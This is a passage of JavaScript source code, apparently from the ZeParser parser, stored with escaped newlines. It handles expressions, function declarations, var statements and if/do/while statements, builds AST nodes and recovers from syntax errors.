match.error;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tmatch.wasLabel = true;\n\n\t\t\t\t\t\treturn match;\n\t\t\t\t\t}\n\n\t\t\t\t\tmayParseLabeledStatementInstead = false;\n\t\t\t\t} else if (match.value == '}') {\n\t\t\t\t\t// ignore... its certainly the end of this expression, but maybe asi can be applied...\n\t\t\t\t\t// it might also be an object literal expecting more, but that case has been covered else where.\n\t\t\t\t\t// if it turns out the } is bad after all, .parse() will try to recover\n\t\t\t\t} else if (match.name == 14/*error*/) {\n\t\t\t\t\tdo {\n\t\t\t\t\t\tif (match.tokenError) {\n\t\t\t\t\t\t\tvar pe = new ZeParser.Error('TokenizerError', match);\n\t\t\t\t\t\t\tpe.msg += ': '+match.error.msg;\n\t\t\t\t\t\t\tthis.errorStack.push(pe);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tthis.failSpecial({start:match.start,stop:match.start,name:14/*error*/,error:pe}, match, stack)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t} while (match.name == 14/*error*/);\n\t\t\t\t} else if (match.name == 12/*eof*/) {\n\t\t\t\t\t// cant parse any further. you're probably just typing...\n\t\t\t\t\treturn match;\n\t\t\t\t} else {\n\t\t\t\t\t//if (!this.errorStack.length && match.name != 12/*eof*/) console.log([\"unknown token\", match, stack, Gui.escape(this.input)]);\n\t\t\t\t\tthis.failignore('UnknownToken', match, stack);\n\t\t\t\t\t// we cant really ignore this. eat the token and try again. possibly you're just typing?\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t}\n\n\t\t\t\t// search for \"value\" suffix. property access and call parens.\n\t\t\t\twhile (match.value == '.' || match.value == '[' || match.value == '(') {\n\t\t\t\t\tif (isBreakOrContinueArg) match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\n\t\t\t\t\tif (match.value == '.') {\n\t\t\t\t\t\t// property access. read in an IdentifierName (no keyword checks). allow assignments\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\tif (match.name != 2/*IDENTIFIER*/) this.failignore('PropertyNamesMayOnlyBeIdentifiers', match, stack);\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tmatch.isPropertyName = true;\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // may parse div\n\t\t\t\t\t\tacceptAssignment = true;\n\t\t\t\t\t} else if (match.value == '[') {\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tvar lhsb = match;\n\t\t\t\t\t\t\tmatch.propertyAccessStart = true;\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t// property access, read expression list. allow assignments\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) {\n\t\t\t\t\t\t\tif (match.value == ']') match = this.failsafe('SquareBracketsMayNotBeEmpty', match);\n\t\t\t\t\t\t\telse match = this.failsafe('SquareBracketExpectsExpression', match);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = this.eatExpressions(false, match, stack);\n\t\t\t\t\t\tif (match.value != ']') match = this.failsafe('UnclosedSquareBrackets', match);\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tmatch.twin = lhsb;\n\t\t\t\t\t\t\tmatch.propertyAccessStop = true;\n\t\t\t\t\t\t\tlhsb.twin = match;\n\n\t\t\t\t\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\t\t\t\t\tlhsb.expressionArg = stack[stack.length-1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // might be div\n\t\t\t\t\t\tacceptAssignment = true;\n\t\t\t\t\t} else if (match.value == '(') {\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tvar lhp = match;\n\t\t\t\t\t\t\tmatch.isCallExpressionStart = true;\n\t\t\t\t\t\t\tif (news) {\n\t\t\t\t\t\t\t\tmatch.parensBelongToNew = true;\n\t\t\t\t\t\t\t\t--news;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t// call expression, eat optional expression list, disallow assignments\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\tif (/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value)) match = this.eatExpressions(false, match, stack); // arguments are optional\n\t\t\t\t\t\tif (match.value != ')') match = this.failsafe('UnclosedCallParens', match);\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tmatch.twin = lhp;\n\t\t\t\t\t\t\tlhp.twin = match;\n\t\t\t\t\t\t\tmatch.isCallExpressionStop = true;\n\n\t\t\t\t\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\t\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // might be div\n\t\t\t\t\t\tacceptAssignment = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check for postfix operators ++ and --\n\t\t\t\t// they are stronger than the + or - binary operators\n\t\t\t\t// they can be applied to any lhs (even when it wouldnt make sense)\n\t\t\t\t// if there was a newline, it should get an ASI\n\t\t\t\tif ((match.value == '++' || match.value == '--') && !match.newline) {\n\t\t\t\t\tif (isBreakOrContinueArg) match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(true, match, stack); // may parse div\n\t\t\t\t}\n\n\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t// restore \"expression\" stack\n\t\t\t\t\tstack = estack;\n\t\t\t\t} //#endif\n\t\t\t\t// now see if there is an operator following...\n\n\t\t\t\tdo { // this do allows us to parse multiple ternary expressions in succession without screwing up.\n\t\t\t\t\tvar ternary = false;\n\t\t\t\t\tif (\n\t\t\t\t\t\t(!forHeader && match.value == 'in') || // one of two named binary operators, may not be first expression in for-header (when semi's occur in the for-header)\n\t\t\t\t\t\t(match.value == 'instanceof') || // only other named binary operator\n\t\t\t\t\t\t((match.name == 11/*PUNCTUATOR*/) && // we can only expect a punctuator now\n\t\t\t\t\t\t\t(match.isAssignment = this.regexAssignments.test(match.value)) || // assignments are only okay with proper lhs\n\t\t\t\t\t\t\tthis.regexNonAssignmentBinaryExpressionOperators.test(match.value) // test all other binary operators\n\t\t\t\t\t\t)\n\t\t\t\t\t) {\n\t\t\t\t\t\tif (match.isAssignment) {\n\t\t\t\t\t\t\tif (!acceptAssignment) this.failignore('IllegalLhsForAssignment', match, stack);\n\t\t\t\t\t\t\telse if (parsedNonAssignmentOperator) this.failignore('AssignmentNotAllowedAfterNonAssignmentInExpression', match, stack);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (isBreakOrContinueArg) match = this.failsafe('BreakOrContinueArgMustBeJustIdentifier', match);\n\n\t\t\t\t\t\tif (!match.isAssignment) parsedNonAssignmentOperator = true; // last allowed assignment\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\tmatch.isBinaryOperator = true;\n\t\t\t\t\t\t\t// we build a stack to ensure any whitespace doesnt break the 1+(n*2) children rule for expressions\n\t\t\t\t\t\t\tvar ostack = stack;\n\t\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\t\tstack.desc = 'operator-expression';\n\t\t\t\t\t\t\tstack.isBinaryOperator = true;\n\t\t\t\t\t\t\tstack.sub = match.value;\n\t\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\t\tostack.sub = match.value;\n\t\t\t\t\t\t\tstack.isAssignment = match.isAssignment;\n\t\t\t\t\t\t\tostack.push(stack);\n\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\tternary = match.value == '?';\n\t\t\t\t\t\t// math, logic, assignment or in or instanceof\n\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t// restore \"expression\" stack\n\t\t\t\t\t\t\tstack = ostack;\n\t\t\t\t\t\t} //#endif\n\n\t\t\t\t\t\t// minor exception to ternary operator, we need to parse two expressions nao. leave the trailing expression to the loop.\n\t\t\t\t\t\tif (ternary) {\n\t\t\t\t\t\t\t// LogicalORExpression \"?\" AssignmentExpression \":\" AssignmentExpression\n\t\t\t\t\t\t\t// so that means just one expression center and right.\n\t\t\t\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) this.failignore('InvalidCenterTernaryExpression', match, stack);\n\t\t\t\t\t\t\tmatch = this.eatExpressions(false, match, stack, true, forHeader); // only one expression allowed inside ternary center/right\n\n\t\t\t\t\t\t\tif (match.value != ':') {\n\t\t\t\t\t\t\t\tif (match.value == ',') match = this.failsafe('TernarySecondExpressionCanNotContainComma', match);\n\t\t\t\t\t\t\t\telse match = this.failsafe('UnfinishedTernaryOperator', match);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\t// we build a stack to ensure any whitespace doesnt break the 1+(n*2) children rule for expressions\n\t\t\t\t\t\t\t\tvar ostack = stack;\n\t\t\t\t\t\t\t\tstack = [];\n\t\t\t\t\t\t\t\tstack.desc = 'operator-expression';\n\t\t\t\t\t\t\t\tstack.sub = match.value;\n\t\t\t\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\t\t\t\tostack.sub = match.value;\n\t\t\t\t\t\t\t\tstack.isAssignment = match.isAssignment;\n\t\t\t\t\t\t\t\tostack.push(stack);\n\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t\t\t\tstack = ostack;\n\t\t\t\t\t\t\t} //#endif\n\t\t\t\t\t\t\t// rhs of the ternary can not contain a comma either\n\t\t\t\t\t\t\tmatch = this.eatExpressions(false, match, stack, true, forHeader); // only one expression allowed inside ternary center/right\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tparseAnotherExpression = false;\n\t\t\t\t\t}\n\t\t\t\t} while (ternary); // if we just parsed a ternary expression, we need to check _again_ whether the next token is a binary operator.\n\n\t\t\t\t// start over. match is the rhs for the lhs we just parsed, but lhs for the next expression\n\t\t\t\tif (parseAnotherExpression && !(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) {\n\t\t\t\t\t// no idea what to do now. lets just ignore and see where it ends. TOFIX: maybe just break the loop or return?\n\t\t\t\t\tthis.failignore('InvalidRhsExpression', match, stack);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t// restore \"expressions\" stack\n\t\t\t\tstack = astack;\n\t\t\t} //#endif\n\n\t\t\t// at this point we should have parsed one AssignmentExpression\n\t\t\t// lets see if we can parse another one...\n\t\t\tmayParseLabeledStatementInstead = first = false;\n\t\t} while (!onlyOne && match.value == ',');\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t// remove empty array\n\t\t\tif (!stack.length) pstack.length = pstack.length-1;\n\t\t\tpstack.numberOfExpressions = parsedExpressions;\n\t\t\tif (pstack[0]) pstack[0].numberOfExpressions = parsedExpressions;\n\t\t\tstack.expressionCount = parsedExpressions;\n\t\t} //#endif\n\t\treturn match;\n\t},\n\teatFunctionDeclaration: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tvar prevscope = this.scope;\n\t\t\tstack.desc = 'func decl';\n\t\t\tstack.isFunction = true;\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tif (!this.scope.functions) this.scope.functions = [];\n\t\t\tmatch.functionId = this.scope.functions.length;\n\t\t\tthis.scope.functions.push(match);\n\t\t\t// add new scope\n\t\t\tmatch.scope = stack.scope = this.scope = [\n\t\t\t\tthis.scope, // add current scope (build scope chain up-down)\n\t\t\t\t// Object.create(null,\n\t\t\t\t{value:'this', isDeclared:true, isEcma:true, functionStack:stack},\n\t\t\t\t// Object.create(null,\n\t\t\t\t{value:'arguments', isDeclared:true, isEcma:true, varType:['Object']}\n\t\t\t];\n\t\t\t// ref to back to function that's the cause for this scope\n\t\t\tthis.scope.scopeFor = match;\n\t\t\tmatch.targetScope = prevscope; // consistency\n\t\t\t\n\t\t\tmatch.functionStack = stack;\n\n\t\t\tmatch.isFuncDeclKeyword = true;\n\t\t} //#endif\n\t\t// only place that this function is used already checks whether next token is function\n\t\tvar functionKeyword = match;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.name != 2/*IDENTIFIER*/) match = this.failsafe('FunctionDeclarationsMustHaveName', match);\n\t\tif (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) this.failignore('FunctionNameMayNotBeReserved', match, stack);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tfunctionKeyword.funcName = match;\n\t\t\tprevscope.push({value:match.value});\n\t\t\tmatch.meta = 'func decl name'; // that's what it is, really\n\t\t\tmatch.varType = ['Function'];\n\t\t\tmatch.functionStack = stack;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatFunctionParametersAndBody(match, stack, false, functionKeyword); // first token after func-decl is regex\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t// restore previous scope\n\t\t\tthis.scope = prevscope;\n\t\t} //#endif\n\t\treturn match;\n\t},\n\teatObjectLiteralColonAndBody: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar propValueStack = stack;\n\t\t\tstack = [];\n\t\t\tstack.desc = 'objlit pair colon';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tpropValueStack.push(stack);\n\t\t} //#endif\n\t\tif (match.value != ':') match = this.failsafe('ObjectLiteralExpectsColonAfterName', match);\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack = propValueStack;\n\t\t} //#endif\n\n\t\t// this might actually fail due to ASI optimization.\n\t\t// if the property name does not exist and it is the last item\n\t\t// of the objlit, the expression parser will see an unexpected\n\t\t// } and ignore it, giving some leeway to apply ASI. of course,\n\t\t// that doesnt work for objlits. but we dont want to break the\n\t\t// existing mechanisms. so we check this differently... :)\n\t\tvar prevMatch = match;\n\t\tmatch = this.eatExpressions(false, match, stack, true); // only one expression\n\t\tif (match == prevMatch) match = this.failsafe('ObjectLiteralMissingPropertyValue', match);\n\n\t\treturn match;\n\t},\n\teatFunctionParametersAndBody: function(match, stack, div, funcToken){\n\t\t// div: the first token _after_ a function expression may be a division...\n\t\tif (match.value != '(') match = this.failsafe('ExpectingFunctionHeaderStart', match);\n\t\telse if (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tfuncToken.lhp = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.name == 2/*IDENTIFIER*/) { // params\n\t\t\tif (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) this.failignore('FunctionArgumentsCanNotBeReserved', match, stack);\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tif (!funcToken.paramNames) funcToken.paramNames = [];\n\t\t\t\tstack.paramNames = funcToken.paramNames;\n\t\t\t\tfuncToken.paramNames.push(match);\n\t\t\t\tthis.scope.push({value:match.value}); // add param name to scope\n\t\t\t\tmatch.meta = 'parameter';\n\t\t\t} //#endif\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\twhile (match.value == ',') {\n\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\tif (match.name != 2/*IDENTIFIER*/) {\n\t\t\t\t\t// example: if name is 12, the source is incomplete...\n\t\t\t\t\tthis.failignore('FunctionParametersMustBeIdentifiers', match, stack);\n\t\t\t\t} else if (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) {\n\t\t\t\t\tthis.failignore('FunctionArgumentsCanNotBeReserved', match, stack);\n\t\t\t\t}\n\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\t// Object.create(null,\n\t\t\t\t\tthis.scope.push({value:match.value}); // add param name to scope\n\t\t\t\t\tmatch.meta = 'parameter';\n\t\t\t\t\tif (match.name == 2/*IDENTIFIER*/) funcToken.paramNames.push(match);\n\t\t\t\t} //#endif\n\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t}\n\t\t}\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tif (lhp) {\n\t\t\t\tmatch.twin = lhp;\n\t\t\t\tlhp.twin = match;\n\t\t\t\tfuncToken.rhp = match;\n\t\t\t}\n\t\t} //#endif\n\t\tif (match.value != ')') match = this.failsafe('ExpectedFunctionHeaderClose', match); // TOFIX: can be various things here...\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatFunctionBody(match, stack, div, funcToken);\n\t\treturn match;\n\t},\n\teatFunctionBody: function(match, stack, div, funcToken){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'func body';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\t// create EMPTY list of functions. labels cannot cross function boundaries\n\t\t\tvar labelBackup = this.statementLabels;\n\t\t\tthis.statementLabels = [];\n\t\t\tstack.labels = this.statementLabels;\n\t\t} //#endif\n\n\t\t// if div, a division can occur _after_ this function expression\n\t\t//this.stats.eatFunctionBody = (+//this.stats.eatFunctionBody||0)+1;\n\t\tif (match.value != '{') match = this.failsafe('ExpectedFunctionBodyCurlyOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhc = match;\n\t\t\tif (funcToken) funcToken.lhc = lhc;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatSourceElements(match, stack);\n\t\tif (match.value != '}') match = this.failsafe('ExpectedFunctionBodyCurlyClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhc;\n\t\t\tlhc.twin = match;\n\t\t\tif (funcToken) funcToken.rhc = match;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(div, match, stack);\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t// restore label set\n\t\t\tthis.statementLabels = labelBackup;\n\t\t} //#endif\n\n\t\treturn match;\n\t},\n\teatVar: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'var';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tmatch.stack = stack;\n\t\t\tmatch.isVarKeyword = true;\n\t\t} //#endif\n\t\tmatch = this.eatVarDecl(match, stack);\n\t\tmatch = this.eatSemiColon(match, stack);\n\n\t\treturn match;\n\t},\n\teatVarDecl: function(match, stack, forHeader){\n\t\t// assumes match is indeed the identifier 'var'\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'var decl';\n\t\t\tstack.nextBlack = match.tokposb;\n\n\t\t\tvar targetScope = this.scope;\n\t\t\twhile (targetScope.catchScope) targetScope = targetScope[0];\n\t\t} //#endif\n\t\tvar first = true;\n\t\tvar varsDeclared = 0;\n\t\tdo {\n\t\t\t++varsDeclared;\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack); // start: var, iteration: comma\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tvar declStack = stack;\n\t\t\t\tvar stack = [];\n\t\t\t\tstack.desc = 'single var decl';\n\t\t\t\tstack.varStack = declStack; // reference to the var statement stack, it might hook to jsdoc needed for these vars\n\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\tdeclStack.push(stack);\n\n\t\t\t\tvar singleDecStack = stack;\n\t\t\t\tstack = [];\n\t\t\t\tstack.desc = 'sub-expression';\n\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\tsingleDecStack.push(stack);\n\t\t\t} //#endif\n\n\t\t\t// next token should be a valid identifier\n\t\t\tif (match.name == 12/*eof*/) {\n\t\t\t\tif (first) match = this.failsafe('VarKeywordMissingName', match);\n\t\t\t\t// else, ignore. TOFIX: return?\n\t\t\t\telse match = this.failsafe('IllegalTrailingComma', match);\n\t\t\t} else if (match.name != 2/*IDENTIFIER*/) {\n\t\t\t\tmatch = this.failsafe('VarNamesMayOnlyBeIdentifiers', match);\n\t\t\t} else if (this.hashStartKeyOrReserved[match.value[0]] /*this.regexStartKeyOrReserved.test(match.value[0])*/ && this.regexIsKeywordOrReserved.test(match.value)) {\n\t\t\t\tmatch = this.failsafe('VarNamesCanNotBeReserved', match);\n\t\t\t}\n\t\t\t// mark the match as being a variable name. we need it for lookup later :)\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tmatch.meta = 'var name';\n\t\t\t\ttargetScope.push({value:match.value});\n\t\t\t} //#endif\n\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack = singleDecStack;\n\t\t\t} //#endif\n\n\t\t\t// next token should either be a = , or ;\n\t\t\t// if = parse an expression and optionally a comma\n\t\t\tif (match.value == '=') {\n\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\tsingleDecStack = stack;\n\t\t\t\t\tstack = [];\n\t\t\t\t\tstack.desc = 'operator-expression';\n\t\t\t\t\tstack.sub = '=';\n\t\t\t\t\tstack.nextBlack = match.tokposb;\n\t\t\t\t\tsingleDecStack.push(stack);\n\n\t\t\t\t\tstack.isAssignment = true;\n\t\t\t\t} //#endif\n\t\t\t\tmatch.isInitialiser = true;\n\t\t\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t\tstack = singleDecStack;\n\t\t\t\t} //#endif\n\n\t\t\t\tif (!(/*is left hand side start?*/ match.name <= 6 || match.name == 14/*error*/ || this.regexLhsStart.test(match.value))) match = this.failsafe('VarInitialiserExpressionExpected', match);\n\t\t\t\tmatch = this.eatExpressions(false, match, stack, true, forHeader); // only one expression \n\t\t\t\t// var statement: comma or semi now\n\t\t\t\t// for statement: semi, comma or 'in'\n\t\t\t}\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tstack = declStack;\n\t\t\t} //#endif\n\n\t\t\t// determines proper error message in one case\n\t\t\tfirst = false;\n\t\t// keep parsing name(=expression) sequences as long as you see a comma here\n\t\t} while (match.value == ',');\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.varsDeclared = varsDeclared;\n\t\t} //#endif\n\n\t\treturn match;\n\t},\n\n\teatIf: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'if';\n\t\t\tstack.hasElse = false;\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\t\t// (\n\t\t// expression\n\t\t// )\n\t\t// statement\n\t\t// [else statement]\n\t\tvar ifKeyword = match;\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('StatementHeaderIsNotOptional', match);\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tlhp.twin = match;\n\n\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\t// match might be null here... (if the if-statement was end part of the source)\n\t\tif (match && match.value == 'else') {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\tifKeyword.hasElse = match;\n\t\t\t} //#endif\n\t\t\tmatch = this.eatElse(match, stack);\n\t\t}\n\n\t\treturn match;\n\t},\n\teatElse: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.hasElse = true;\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'else';\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatStatement(false, match, stack);\n\n\t\treturn match;\n\t},\n\teatDo: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'do';\n\t\t\tstack.isIteration = true;\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tthis.statementLabels.push(''); // add \"empty\"\n\t\t\tvar doToken = match;\n\t\t} //#endif\n\t\t// statement\n\t\t// while\n\t\t// (\n\t\t// expression\n\t\t// )\n\t\t// semi-colon\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatStatement(false, match, stack);\n\t\tif (match.value != 'while') match = this.failsafe('DoShouldBeFollowedByWhile', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.hasDo = doToken;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = true;\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (!(/*is left hand side start?*/ match.name <= 6 || this.regexLhsStart.test(match.value))) match = this.failsafe('StatementHeaderIsNotOptional', match);\n\t\tmatch = this.eatExpressions(false, match, stack);\n\t\tif (match.value != ')') match = this.failsafe('ExpectedStatementHeaderClose', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tmatch.twin = lhp;\n\t\t\tmatch.statementHeaderStop = true;\n\t\t\tmatch.isForDoWhile = true; // prevents missing block warnings\n\t\t\tlhp.twin = match;\n\n\t\t\tif (stack[stack.length-1].desc == 'expressions') {\n\t\t\t\t// create ref to this expression group to the opening bracket\n\t\t\t\tlhp.expressionArg = stack[stack.length-1];\n\t\t\t}\n\t\t} //#endif\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tmatch = this.eatSemiColon(match, stack); // TOFIX: this is not optional according to the spec, but browsers apply ASI anyways\n\n\t\treturn match;\n\t},\n\teatWhile: function(match, stack){\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tstack.push(stack = []);\n\t\t\tstack.desc = 'statement';\n\t\t\tstack.sub = 'while';\n\t\t\tstack.isIteration = true;\n\t\t\tstack.nextBlack = match.tokposb;\n\t\t\tthis.statementLabels.push(''); // add \"empty\"\n\t\t} //#endif\n\n\t\t// (\n\t\t// expression\n\t\t// )\n\t\t// statement\n\t\tmatch = this.tokenizer.storeCurrentAndFetchNextToken(false, match, stack);\n\t\tif (match.value != '(') match = this.failsafe('ExpectedStatementHeaderOpen', match);\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tvar lhp = match;\n\t\t\tmatch.statementHeaderStart = 